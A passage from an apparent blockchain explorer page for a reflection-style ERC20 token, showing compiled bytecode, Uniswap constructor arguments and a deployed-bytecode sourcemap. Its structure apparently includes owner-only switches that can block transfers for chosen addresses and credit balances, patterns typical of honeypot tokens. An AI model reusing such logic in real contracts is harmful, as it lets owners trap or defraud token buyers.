6120d3611fc2565b5b60006120e2848285016120a9565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561212557808201518184015260208101905061210a565b83811115612134576000848401525b50505050565b6000601f19601f8301169050919050565b6000612156826120eb565b61216081856120f6565b9350612170818560208601612107565b6121798161213a565b840191505092915050565b6000602082019050818103600083015261219e818461214b565b905092915050565b600080604083850312156121bd576121bc611fc2565b5b60006121cb85828601612010565b92505060206121dc858286016120a9565b9150509250929050565b6121ef81612088565b82525050565b600060208201905061220a60008301846121e6565b92915050565b60008060006060848603121561222957612228611fc2565b5b600061223786828701612010565b935050602061224886828701612010565b9250506040612259868287016120a9565b9150509250925092565b61226c81611fe7565b82525050565b60006020820190506122876000830184612263565b92915050565b600060ff82169050919050565b6122a38161228d565b82525050565b60006020820190506122be600083018461229a565b92915050565b6122cd81612052565b81146122d857600080fd5b50565b6000813590506122ea816122c4565b92915050565b6000806040838503121561230757612306611fc2565b5b6000612315858286016120a9565b9250506020612326858286016122db565b9150509250929050565b6000806040838503121561234757612346611fc2565b5b600061235585828601612010565b925050602061236685828601612010565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b60006123cc602c836120f6565b91506123d782612370565b604082019050919050565b600060208201905081810360008301526123fb816123bf565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061244957607f821691505b6020821081141561245d5761245c612402565b5b50919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006124bf602a836120f6565b91506124ca82612463565b604082019050919050565b600060208201905081810360008301526124ee816124b2565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b600061252b601f836120f6565b9150612536826124f5565b602082019050919050565b6000602082019050818103600083015261255a8161251e565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006125976020836120f6565b91506125a282612561565b602082019050919050565b600060208201905081810360008301526125c68161258a565b9050919050565b60006040820190506125e26000830185612263565b6125ef602083018461205e565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061263082612088565b915061263b83612088565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126705761266f6125f6565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006126b1601b836120f6565b91506126bc8261267b565b602082019050919050565b600060208201905081810360008301526126e0816126a4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006127436024836120f6565b915061274e826126e7565b604082019050919050565b6000602082019050818103600083015261277281612736565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006127d56022836120f6565b91506127e082612779565b604082019050919050565b60006020820190508181036000830152612804816127c8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006128676025836120f6565b91506128728261280b565b604082019050919050565b600060208201905081810360008301526128968161285a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128f96023836120f6565b91506129048261289d565b604082019050919050565b60006020820190508181036000830152612928816128ec565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061298b6029836120f6565b91506129968261292f565b604082019050919050565b600060208201905081810360008301526129ba8161297e565b9050919050565b50565b60006129d16000836120f6565b91506129dc826129c1565b600082019050919050565b60006020820190508181036000830152612a00816129c4565b9050919050565b6000612a1282612088565b9150612a1d83612088565b925082821015612a3057612a2f6125f6565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612a7582612088565b9150612a8083612088565b925082612a9057612a8f612a3b565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612ad582612088565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612b0857612b076125f6565b5b600182019050919050565b6000612b1e82612088565b9150612b2983612088565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612b6257612b616125f6565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612bc96021836120f6565b9150612bd482612b6d565b604082019050919050565b60006020820190508181036000830152612bf881612bbc565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122011301ef7e701abd7332a1e7ea0d25b55f20d92588085d43dfeeb40336fad885c64736f6c63430008080033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
-----Decoded View---------------
Arg [0] : V2factory (address): 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f
Arg [1] : V2router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
Arg [1] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode Sourcemap
152:10768:1:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2720:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4235:376;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1615:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2275:161;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1892:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3264:313;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;940:27;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5041:253;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1801:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;974:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3732:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4619:414;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2444:268;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1999:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1497:155:2;;;:::i;:::-;;2850:135:1;;;:::i;:::-;;3585:139;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1218:93:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1706:87:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;419:34;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3958:269;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3089:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2124:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2997:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2720:118;2781:4;2805:15;:25;2821:8;2805:25;;;;;;;;;;;;;;;;;;;;;;;;;2798:32;;2720:118;;;:::o;4235:376::-;4287:14;4304:12;:10;:12::i;:::-;4287:29;;4336:11;:19;4348:6;4336:19;;;;;;;;;;;;;;;;;;;;;;;;;4335:20;4327:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;4416:15;4439:19;4450:7;4439:10;:19::i;:::-;4415:43;;;;;;4487:28;4507:7;4487;:15;4495:6;4487:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;4469:7;:15;4477:6;4469:15;;;;;;;;;;;;;;;:46;;;;4536:20;4548:7;4536;;:11;;:20;;;;:::i;:::-;4526:7;:30;;;;4580:23;4595:7;4580:10;;:14;;:23;;;;:::i;:::-;4567:10;:36;;;;4276:335;;4235:376;:::o;1615:83::-;1652:13;1685:5;1678:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1615:83;:::o;2275:161::-;2350:4;2367:39;2376:12;:10;:12::i;:::-;2390:7;2399:6;2367:8;:39::i;:::-;2424:4;2417:11;;2275:161;;;;:::o;1892:95::-;1945:7;393:19;1965:14;;1892:95;:::o;3264:313::-;3362:4;3379:36;3389:6;3397:9;3408:6;3379:9;:36::i;:::-;3426:121;3435:6;3443:12;:10;:12::i;:::-;3457:89;3495:6;3457:89;;;;;;;;;;;;;;;;;:11;:19;3469:6;3457:19;;;;;;;;;;;;;;;:33;3477:12;:10;:12::i;:::-;3457:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;3426:8;:121::i;:::-;3565:4;3558:11;;3264:313;;;;;:::o;940:27::-;;;;;;;;;;;;;:::o;5041:253::-;5107:7;5146;;5135;:18;;5127:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;5211:19;5234:10;:8;:10::i;:::-;5211:33;;5262:24;5274:11;5262:7;:11;;:24;;;;:::i;:::-;5255:31;;;5041:253;;;:::o;1801:83::-;1842:5;1867:9;;;;;;;;;;;1860:16;;1801:83;:::o;974:26::-;;;;;;;;;;;;;:::o;3732:218::-;3820:4;3837:83;3846:12;:10;:12::i;:::-;3860:7;3869:50;3908:10;3869:11;:25;3881:12;:10;:12::i;:::-;3869:25;;;;;;;;;;;;;;;:34;3895:7;3869:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;3837:8;:83::i;:::-;3938:4;3931:11;;3732:218;;;;:::o;4619:414::-;4709:7;393:19;4737:7;:18;;4729:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;4807:17;4802:224;;4842:15;4865:19;4876:7;4865:10;:19::i;:::-;4841:43;;;;;;4906:7;4899:14;;;;;4802:224;4938:23;4968:19;4979:7;4968:10;:19::i;:::-;4936:51;;;;;;5009:15;5002:22;;;4619:414;;;;;:::o;2444:268::-;1068:12:2;:10;:12::i;:::-;1058:22;;:6;;;;;;;;;;:22;;;1050:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2549:4:1::1;2520:33;;:15;:25;2536:8;2520:25;;;;;;;;;;;;;;;;;;;;;;;;;:33;;;2516:189;;;2584:5;2556:15;:25;2572:8;2556:25;;;;;;;;;;;;;;;;:33;;;;;;;;;;;;;;;;;;2516:189;;;2635:4;2607:15;:25;2623:8;2607:25;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;2656:47;2667:8;2677:15;:25;2693:8;2677:25;;;;;;;;;;;;;;;;;;;;;;;;;2656:47;;;;;;;:::i;:::-;;;;;;;;2516:189;2444:268:::0;:::o;1999:117::-;2065:7;2092;:16;2100:7;2092:16;;;;;;;;;;;;;;;;2085:23;;1999:117;;;:::o;1497:155:2:-;1068:12;:10;:12::i;:::-;1058:22;;:6;;;;;;;;;;:22;;;1050:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1604:1:::1;1567:40;;1588:6;::::0;::::1;;;;;;;;1567:40;;;;;;;;;;;;1642:1;1618:13;;:26;;;;;;;;;;;;;;;;;;1497:155::o:0;2850:135:1:-;1068:12:2;:10;:12::i;:::-;1058:22;;:6;;;;;;;;;;:22;;;1050:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2917:5:1::1;2904:18;;:9;;;;;;;;;;;:18;;;2900:78;;;2937:4;2925:9;;:16;;;;;;;;;;;;;;;;;;2900:78;;;2971:5;2959:9;;:17;;;;;;;;;;;;;;;;;;2900:78;2850:135::o:0;3585:139::-;1068:12:2;:10;:12::i;:::-;1058:22;;:6;;;;;;;;;;:22;;;1050:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3692:24:1::1;3712:3;3692:7;:15;3700:6;3692:15;;;;;;;;;;;;;;;;:19;;:24;;;;:::i;:::-;3674:7;:15;3682:6;3674:15;;;;;;;;;;;;;;;:42;;;;3585:139:::0;;:::o;1218:93:2:-;1263:7;1290:13;;;;;;;;;;;1283:20;;1218:93;:::o;1706:87:1:-;1745:13;1778:7;1771:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1706:87;:::o;419:34::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3958:269::-;4051:4;4068:129;4077:12;:10;:12::i;:::-;4091:7;4100:96;4139:15;4100:96;;;;;;;;;;;;;;;;;:11;:25;4112:12;:10;:12::i;:::-;4100:25;;;;;;;;;;;;;;;:34;4126:7;4100:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;4068:8;:129::i;:::-;4215:4;4208:11;;3958:269;;;;:::o;3089:167::-;3167:4;3184:42;3194:12;:10;:12::i;:::-;3208:9;3219:6;3184:9;:42::i;:::-;3244:4;3237:11;;3089:167;;;;:::o;2124:143::-;2205:7;2232:11;:18;2244:5;2232:18;;;;;;;;;;;;;;;:27;2251:7;2232:27;;;;;;;;;;;;;;;;2225:34;;2124:143;;;;:::o;2997:84::-;3040:4;3064:9;;;;;;;;;;;3057:16;;2997:84;:::o;1766:132:3:-;1824:7;1851:39;1855:1;1858;1851:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1844:46;;1766:132;;;;:::o;521:136::-;579:7;606:43;610:1;613;606:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;599:50;;521:136;;;;:::o;108:114:2:-;161:15;203:10;188:26;;108:114;:::o;9195:411:1:-;9254:7;9263;9272;9281;9290;9311:23;9336:12;9352:20;9364:7;9352:11;:20::i;:::-;9310:62;;;;9383:19;9406:10;:8;:10::i;:::-;9383:33;;9428:15;9445:23;9470:12;9486:39;9498:7;9507:4;9513:11;9486;:39::i;:::-;9427:98;;;;;;9544:7;9553:15;9570:4;9576:15;9593:4;9536:62;;;;;;;;;;;;;;;;9195:411;;;;;;;:::o;200:179:3:-;258:7;278:9;294:1;290;:5;;;;:::i;:::-;278:17;;319:1;314;:6;;306:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;370:1;363:8;;;200:179;;;;:::o;5302:335:1:-;5412:1;5395:19;;:5;:19;;;;5387:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5493:1;5474:21;;:7;:21;;;;5466:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5575:6;5545:11;:18;5557:5;5545:18;;;;;;;;;;;;;;;:27;5564:7;5545:27;;;;;;;;;;;;;;;:36;;;;5613:7;5597:32;;5606:5;5597:32;;;5622:6;5597:32;;;;;;:::i;:::-;;;;;;;;5302:335;;;:::o;5647:767::-;5762:1;5744:20;;:6;:20;;;;5736:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;5846:1;5825:23;;:9;:23;;;;5817:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5916:1;5907:6;:10;5899:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;5978:15;:23;5994:6;5978:23;;;;;;;;;;;;;;;;;;;;;;;;;:53;;;;6005:15;:26;6021:9;6005:26;;;;;;;;;;;;;;;;;;;;;;;;;5978:53;5974:84;;;6052:1;6042:6;:11;6033:25;;;;;;;;;;;;:::i;:::-;;;;;;;;;5974:84;6086:5;6073:18;;:9;;;;;;;;;;;:18;;;:39;;;;6105:7;:5;:7::i;:::-;6095:17;;:6;:17;;;6073:39;:63;;;;6129:7;:5;:7::i;:::-;6116:20;;:9;:20;;;6073:63;6069:338;;;6167:69;6187:6;6167:69;;;;;;;;;;;;;;;;;:7;:15;6175:6;6167:15;;;;;;;;;;;;;;;;:19;;:69;;;;;:::i;:::-;6149:7;:15;6157:6;6149:15;;;;;;;;;;;;;;;:87;;;;6268:30;6291:6;6268:7;:18;6276:9;6268:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;6247:7;:18;6255:9;6247:18;;;;;;;;;;;;;;;:51;;;;6331:9;6314:35;;6323:6;6314:35;;;6342:6;6314:35;;;;;;:::i;:::-;;;;;;;;6069:338;;;6395:5;6382:18;;:9;;;;;;;;;;;:18;;;6373:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;6069:338;5647:767;;;:::o;827:190:3:-;913:7;946:1;941;:6;;949:12;933:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;973:9;989:1;985;:5;;;;:::i;:::-;973:17;;1008:1;1001:8;;;827:190;;;;;:::o;10195:163:1:-;10236:7;10257:15;10274;10293:19;:17;:19::i;:::-;10256:56;;;;10330:20;10342:7;10330;:11;;:20;;;;:::i;:::-;10323:27;;;;10195:163;:::o;2085:276:3:-;2171:7;2203:1;2199;:5;2206:12;2191:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2230:9;2246:1;2242;:5;;;;:::i;:::-;2230:17;;2352:1;2345:8;;;2085:276;;;;;:::o;9614:231:1:-;9674:7;9683;9703:12;9718:24;9740:1;9718:17;9730:4;9718:7;:11;;:17;;;;:::i;:::-;:21;;:24;;;;:::i;:::-;9703:39;;9753:23;9779:17;9791:4;9779:7;:11;;:17;;;;:::i;:::-;9753:43;;9815:15;9832:4;9807:30;;;;;;9614:231;;;:::o;9853:334::-;9948:7;9957;9966;9986:15;10004:24;10016:11;10004:7;:11;;:24;;;;:::i;:::-;9986:42;;10039:12;10054:21;10063:11;10054:4;:8;;:21;;;;:::i;:::-;10039:36;;10086:23;10112:17;10124:4;10112:7;:11;;:17;;;;:::i;:::-;10086:43;;10148:7;10157:15;10174:4;10140:39;;;;;;;;;9853:334;;;;;;;:::o;840:81:2:-;880:7;907:6;;;;;;;;;;;900:13;;840:81;:::o;10366:551:1:-;10416:7;10425;10445:15;10463:7;;10445:25;;10481:15;393:19;10481:25;;10528:9;10523:279;10547:9;:16;;;;10543:1;:20;10523:279;;;10613:7;10589;:21;10597:9;10607:1;10597:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;10589:21;;;;;;;;;;;;;;;;:31;:66;;;;10648:7;10624;:21;10632:9;10642:1;10632:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;10624:21;;;;;;;;;;;;;;;;:31;10589:66;10585:97;;;10665:7;;393:19;10657:25;;;;;;;;;10585:97;10707:34;10719:7;:21;10727:9;10737:1;10727:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;10719:21;;;;;;;;;;;;;;;;10707:7;:11;;:34;;;;:::i;:::-;10697:44;;10766:34;10778:7;:21;10786:9;10796:1;10786:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;10778:21;;;;;;;;;;;;;;;;10766:7;:11;;:34;;;;:::i;:::-;10756:44;;10565:3;;;;;:::i;:::-;;;;10523:279;;;;10826:20;393:19;10826:7;;:11;;:20;;;;:::i;:::-;10816:7;:30;10812:61;;;10856:7;;393:19;10848:25;;;;;;;;10812:61;10892:7;10901;10884:25;;;;;;10366:551;;;:::o;1132:467:3:-;1190:7;1440:1;1435;:6;1431:47;;;1465:1;1458:8;;;;1431:47;1488:9;1504:1;1500;:5;;;;:::i;:::-;1488:17;;1533:1;1528;1524;:5;;;;:::i;:::-;:10;1516:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1590:1;1583:8;;;1132:467;;;;;:::o;88:117:4:-;197:1;194;187:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:329::-;900:6;949:2;937:9;928:7;924:23;920:32;917:119;;;955:79;;:::i;:::-;917:119;1075:1;1100:53;1145:7;1136:6;1125:9;1121:22;1100:53;:::i;:::-;1090:63;;1046:117;841:329;;;;:::o;1176:90::-;1210:7;1253:5;1246:13;1239:21;1228:32;;1176:90;;;:::o;1272:109::-;1353:21;1368:5;1353:21;:::i;:::-;1348:3;1341:34;1272:109;;:::o;1387:210::-;1474:4;1512:2;1501:9;1497:18;1489:26;;1525:65;1587:1;1576:9;1572:17;1563:6;1525:65;:::i;:::-;1387:210;;;;:::o;1603:77::-;1640:7;1669:5;1658:16;;1603:77;;;:::o;1686:122::-;1759:24;1777:5;1759:24;:::i;:::-;1752:5;1749:35;1739:63;;1798:1;1795;1788:12;1739:63;1686:122;:::o;1814:139::-;1860:5;1898:6;1885:20;1876:29;;1914:33;1941:5;1914:33;:::i;:::-;1814:139;;;;:::o;1959:329::-;2018:6;2067:2;2055:9;2046:7;2042:23;2038:32;2035:119;;;2073:79;;:::i;:::-;2035:119;2193:1;2218:53;2263:7;2254:6;2243:9;2239:22;2218:53;:::i;:::-;2208:63;;2164:117;1959:329;;;;:::o;2294:99::-;2346:6;2380:5;2374:12;2364:22;;2294:99;;;:::o;2399:169::-;2483:11;2517:6;2512:3;2505:19;2557:4;2552:3;2548:14;2533:29;;2399:169;;;;:::o;2574:307::-;2642:1;2652:113;2666:6;2663:1;2660:13;2652:113;;;2751:1;2746:3;2742:11;2736:18;2732:1;2727:3;2723:11;2716:39;2688:2;2685:1;2681:10;2676:15;;2652:113;;;2783:6;2780:1;2777:13;2774:101;;;2863:1;2854:6;2849:3;2845:16;2838:27;2774:101;2623:258;2574:307;;;:::o;2887:102::-;2928:6;2979:2;2975:7;2970:2;2963:5;2959:14;2955:28;2945:38;;2887:102;;;:::o;2995:364::-;3083:3;3111:39;3144:5;3111:39;:::i;:::-;3166:71;3230:6;3225:3;3166:71;:::i;:::-;3159:78;;3246:52;3291:6;3286:3;3279:4;3272:5;3268:16;3246:52;:::i;:::-;3323:29;3345:6;3323:29;:::i;:::-;3318:3;3314:39;3307:46;;3087:272;2995:364;;;;:::o;3365:313::-;3478:4;3516:2;3505:9;3501:18;3493:26;;3565:9;3559:4;3555:20;3551:1;3540:9;3536:17;3529:47;3593:78;3666:4;3657:6;3593:78;:::i;:::-;3585:86;;3365:313;;;;:::o;3684:474::-;3752:6;3760;3809:2;3797:9;3788:7;3784:23;3780:32;3777:119;;;3815:79;;:::i;:::-;3777:119;3935:1;3960:53;4005:7;3996:6;3985:9;3981:22;3960:53;:::i;:::-;3950:63;;3906:117;4062:2;4088:53;4133:7;4124:6;4113:9;4109:22;4088:53;:::i;:::-;4078:63;;4033:118;3684:474;;;;;:::o;4164:118::-;4251:24;4269:5;4251:24;:::i;:::-;4246:3;4239:37;4164:118;;:::o;4288:222::-;4381:4;4419:2;4408:9;4404:18;4396:26;;4432:71;4500:1;4489:9;4485:17;4476:6;4432:71;:::i;:::-;4288:222;;;;:::o;4516:619::-;4593:6;4601;4609;4658:2;4646:9;4637:7;4633:23;4629:32;4626:119;;;4664:79;;:::i;:::-;4626:119;4784:1;4809:53;4854:7;4845:6;4834:9;4830:22;4809:53;:::i;:::-;4799:63;;4755:117;4911:2;4937:53;4982:7;4973:6;4962:9;4958:22;4937:53;:::i;:::-;4927:63;;4882:118;5039:2;5065:53;5110:7;5101:6;5090:9;5086:22;5065:53;:::i;:::-;5055:63;;5010:118;4516:619;;;;;:::o;5141:118::-;5228:24;5246:5;5228:24;:::i;:::-;5223:3;5216:37;5141:118;;:::o;5265:222::-;5358:4;5396:2;5385:9;5381:18;5373:26;;5409:71;5477:1;5466:9;5462:17;5453:6;5409:71;:::i;:::-;5265:222;;;;:::o;5493:86::-;5528:7;5568:4;5561:5;5557:16;5546:27;;5493:86;;;:::o;5585:112::-;5668:22;5684:5;5668:22;:::i;:::-;5663:3;5656:35;5585:112;;:::o;5703:214::-;5792:4;5830:2;5819:9;5815:18;5807:26;;5843:67;5907:1;5896:9;5892:17;5883:6;5843:67;:::i;:::-;5703:214;;;;:::o;5923:116::-;5993:21;6008:5;5993:21;:::i;:::-;5986:5;5983:32;5973:60;;6029:1;6026;6019:12;5973:60;5923:116;:::o;6045:133::-;6088:5;6126:6;6113:20;6104:29;;6142:30;6166:5;6142:30;:::i;:::-;6045:133;;;;:::o;6184:468::-;6249:6;6257;6306:2;6294:9;6285:7;6281:23;6277:32;6274:119;;;6312:79;;:::i;:::-;6274:119;6432:1;6457:53;6502:7;6493:6;6482:9;6478:22;6457:53;:::i;:::-;6447:63;;6403:117;6559:2;6585:50;6627:7;6618:6;6607:9;6603:22;6585:50;:::i;:::-;6575:60;;6530:115;6184:468;;;;;:::o;6658:474::-;6726:6;6734;6783:2;6771:9;6762:7;6758:23;6754:32;6751:119;;;6789:79;;:::i;:::-;6751:119;6909:1;6934:53;6979:7;6970:6;6959:9;6955:22;6934:53;:::i;:::-;6924:63;;6880:117;7036:2;7062:53;7107:7;7098:6;7087:9;7083:22;7062:53;:::i;:::-;7052:63;;7007:118;6658:474;;;;;:::o;7138:231::-;7278:34;7274:1;7266:6;7262:14;7255:58;7347:14;7342:2;7334:6;7330:15;7323:39;7138:231;:::o;7375:366::-;7517:3;7538:67;7602:2;7597:3;7538:67;:::i;:::-;7531:74;;7614:93;7703:3;7614:93;:::i;:::-;7732:2;7727:3;7723:12;7716:19;;7375:366;;;:::o;7747:419::-;7913:4;7951:2;7940:9;7936:18;7928:26;;8000:9;7994:4;7990:20;7986:1;7975:9;7971:17;7964:47;8028:131;8154:4;8028:131;:::i;:::-;8020:139;;7747:419;;;:::o;8172:180::-;8220:77;8217:1;8210:88;8317:4;8314:1;8307:15;8341:4;8338:1;8331:15;8358:320;8402:6;8439:1;8433:4;8429:12;8419:22;;8486:1;8480:4;8476:12;8507:18;8497:81;;8563:4;8555:6;8551:17;8541:27;;8497:81;8625:2;8617:6;8614:14;8594:18;8591:38;8588:84;;;8644:18;;:::i;:::-;8588:84;8409:269;8358:320;;;:::o;8684:229::-;8824:34;8820:1;8812:6;8808:14;8801:58;8893:12;8888:2;8880:6;8876:15;8869:37;8684:229;:::o;8919:366::-;9061:3;9082:67;9146:2;9141:3;9082:67;:::i;:::-;9075:74;;9158:93;9247:3;9158:93;:::i;:::-;9276:2;9271:3;9267:12;9260:19;;8919:366;;;:::o;9291:419::-;9457:4;9495:2;9484:9;9480:18;9472:26;;9544:9;9538:4;9534:20;9530:1;9519:9;9515:17;9508:47;9572:131;9698:4;9572:131;:::i;:::-;9564:139;;9291:419;;;:::o;9716:181::-;9856:33;9852:1;9844:6;9840:14;9833:57;9716:181;:::o;9903:366::-;10045:3;10066:67;10130:2;10125:3;10066:67;:::i;:::-;10059:74;;10142:93;10231:3;10142:93;:::i;:::-;10260:2;10255:3;10251:12;10244:19;;9903:366;;;:::o;10275:419::-;10441:4;10479:2;10468:9;10464:18;10456:26;;10528:9;10522:4;10518:20;10514:1;10503:9;10499:17;10492:47;10556:131;10682:4;10556:131;:::i;:::-;10548:139;;10275:419;;;:::o;10700:182::-;10840:34;10836:1;10828:6;10824:14;10817:58;10700:182;:::o;10888:366::-;11030:3;11051:67;11115:2;11110:3;11051:67;:::i;:::-;11044:74;;11127:93;11216:3;11127:93;:::i;:::-;11245:2;11240:3;11236:12;11229:19;;10888:366;;;:::o;11260:419::-;11426:4;11464:2;11453:9;11449:18;11441:26;;11513:9;11507:4;11503:20;11499:1;11488:9;11484:17;11477:47;11541:131;11667:4;11541:131;:::i;:::-;11533:139;;11260:419;;;:::o;11685:320::-;11800:4;11838:2;11827:9;11823:18;11815:26;;11851:71;11919:1;11908:9;11904:17;11895:6;11851:71;:::i;:::-;11932:66;11994:2;11983:9;11979:18;11970:6;11932:66;:::i;:::-;11685:320;;;;;:::o;12011:180::-;12059:77;12056:1;12049:88;12156:4;12153:1;12146:15;12180:4;12177:1;12170:15;12197:305;12237:3;12256:20;12274:1;12256:20;:::i;:::-;12251:25;;12290:20;12308:1;12290:20;:::i;:::-;12285:25;;12444:1;12376:66;12372:74;12369:1;12366:81;12363:107;;;12450:18;;:::i;:::-;12363:107;12494:1;12491;12487:9;12480:16;;12197:305;;;;:::o;12508:177::-;12648:29;12644:1;12636:6;12632:14;12625:53;12508:177;:::o;12691:366::-;12833:3;12854:67;12918:2;12913:3;12854:67;:::i;:::-;12847:74;;12930:93;13019:3;12930:93;:::i;:::-;13048:2;13043:3;13039:12;13032:19;;12691:366;;;:::o;13063:419::-;13229:4;13267:2;13256:9;13252:18;13244:26;;13316:9;13310:4;13306:20;13302:1;13291:9;13287:17;1328